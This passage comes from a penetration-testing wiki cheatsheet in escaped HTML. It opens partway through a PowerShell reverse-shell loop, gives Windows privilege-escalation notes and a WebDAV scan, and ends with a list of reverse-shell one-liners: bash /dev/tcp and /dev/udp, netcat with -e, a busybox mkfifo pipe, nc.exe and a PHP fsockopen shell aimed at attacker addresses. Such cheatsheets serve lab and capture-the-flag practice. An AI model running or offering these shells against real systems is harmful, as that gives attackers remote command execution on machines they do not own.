                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Find .NET Version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Potatos ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Windows Exploit Suggester ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== WebDav - Davtest ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Scan the give WebDAV server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Payloads &amp;amp; shells - Commands ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
## Don&amp;#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &amp;#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&amp;#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>